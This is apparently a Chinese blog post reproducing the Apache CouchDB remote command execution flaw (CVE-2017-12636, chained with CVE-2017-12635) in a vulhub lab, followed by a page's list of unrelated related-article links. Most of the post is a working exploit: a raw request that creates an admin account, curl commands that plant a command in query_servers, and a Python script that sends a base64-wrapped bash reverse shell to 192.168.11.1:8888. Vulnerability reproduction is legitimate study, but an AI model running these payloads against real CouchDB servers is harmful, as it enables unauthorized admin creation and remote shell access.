1. Couchdb简介:

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

  1. 漏洞简介:

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。

那么,问题出在哪呢?翻阅官方描述会发现,CouchDB中有一个Query_Server的配置项,在官方文档中是这么描述的:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

直白点说,就是CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:

[query_servers]
LANGUAGE = PATH ARGS

默认情况下,配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

可以看到,CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,但是这个配置是在local.ini文件中的,如何控制呢?

继续读官方的文档,发现了一个有意思的功能,CouchDB提供了一个API接口用来更改自身的配置,并把修改后的结果保存到配置文件中:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance

也就是说,除了local.ini的配置文件,CouchDB允许通过自身提供的Restful API接口动态修改配置属性。结合以上两点,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。

原文:https://blog.csdn.net/jiangbuliu/article/details/94029940
https://www.secpulse.com/archives/45917.html

  1. 漏洞影响范围:

Apache CouchDB小于 1.7.0 以及 小于 2.1.1

  1. 漏洞复现

[1] 使用vulhub搭建漏洞环境

 cd /root/vulhub/couchdb/CVE-2017-12636                进入本次复现的vulhub目录docker-compose up -d                                  docker-compose搭建环境

[2]启动完成后,访问http://your-ip:5984/即可看到Couchdb的欢迎页面。
[3]该漏洞是需要登录用户才可以触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。使用burp或者curl命令发送如下请求包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 172.20.10.4:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"
}

创建用户名为:vulhub;密码为:vulhub的用户。
[4]漏洞利用代码

> 1、新增query_server配置,写入要执行的命令:
curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
> 2、新建一个临时库和临时表,插入一条记录:
curl -X PUT 'http://username:password@your-ip:5984/vultest'
curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
> 3、调用query_server处理数据
curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

第一个请求是添加一个名字为cmd的query_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。

第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmd的query_servers,最后触发命令执行。

exp(注意更改target、command、version):

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuthtarget = 'http://192.168.11.140:5984'
command = rb"""bash -i >& /dev/tcp/192.168.11.1/8888 0>&1"""
version = 1session = requests.session()
session.headers = {'Content-Type': 'application/json'
}#session.proxies = {#      'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{"type": "user","name": "wooyun","roles": ["_admin"],"roles": [],"password": "wooyun"
}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:host = session.get(target + '/_membership').json()['all_nodes'][0]session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1:session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

couchdb 任意命令执行漏洞 cve-2017-12636相关推荐

  1. couchdb 任意命令执行漏洞(cve-2017-12636)

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...

  2. Couchdb 任意命令执行漏洞(CVE-2017-12636)复现

    简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...

  3. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  4. 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...

  5. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  6. eyoucms 1.5.5任意命令执行漏洞(0day)

    eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...

  7. wordpress 4.6任意命令执行漏洞(PwnScriptum)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为 ...

  8. TamronOS IPTV系统 ping 任意命令执行漏洞

    TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...

  9. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

最新文章

  1. PyQt主窗体设置停靠窗口(QDockWidget)的叠加顺序
  2. 生成浮点数列表:Python range():TypeError: ‘float‘ object cannot be interpreted as an integer
  3. PCB Editor 布线后操作
  4. c# 扩展方法奇思妙用高级篇一:改进 Scottgu 的 In 扩展
  5. CDS view里case - when - else关键字的用法
  6. 通过data目录恢复数据库数据(mysql5.7.22)
  7. java中怎么从键盘读取字符_java键盘读取字符
  8. Linux中Docker部署Tomcat
  9. 腾讯回应“QQ 冻结”;高德上线“家人地图”惹争议;Linux 内核讨论引入 Rust 代码| 极客头条...
  10. Linux实战问题解决方案(1):Could not get lock
  11. python逐行输出_python逐行输出
  12. $(document).ready
  13. Ubuntu下利用Wine安装AxureRP 8
  14. 【图文】Latex 中文字体的使用
  15. 少数者博弈 matlab,复杂网络中的少数者博弈研究
  16. 计算机网络专业认识和理解,计算机网络专业认识.docx
  17. 虚拟化服务器授权,VMware授权变相收费? 虚拟化一大障碍
  18. 4种Java引用浅解
  19. 英集芯IP5566带TYPE-C口3A充放快充移动电源5w无线充二合一方案SOC
  20. 机器人简化图画手绘图_如何画机器人的简笔画 经验告诉你该这样

热门文章

  1. Tungsten Fabric SDN — for Akraino Based Network Edges
  2. VMware 虚拟机的虚拟磁盘编程知识点扫盲之一
  3. FOC驱动器和无刷电调的区别
  4. TLE5012的使用和3线SPI通信(SSC)说明
  5. 数据分析之全国热门景点分析
  6. CentOS学习笔记 - 4. 修改端口和禁止root登录
  7. system.out.println从什么方向执行
  8. ViewPage 一次滑动多页
  9. 深入理解java类加载
  10. 电脑图片不显示缩略图怎么办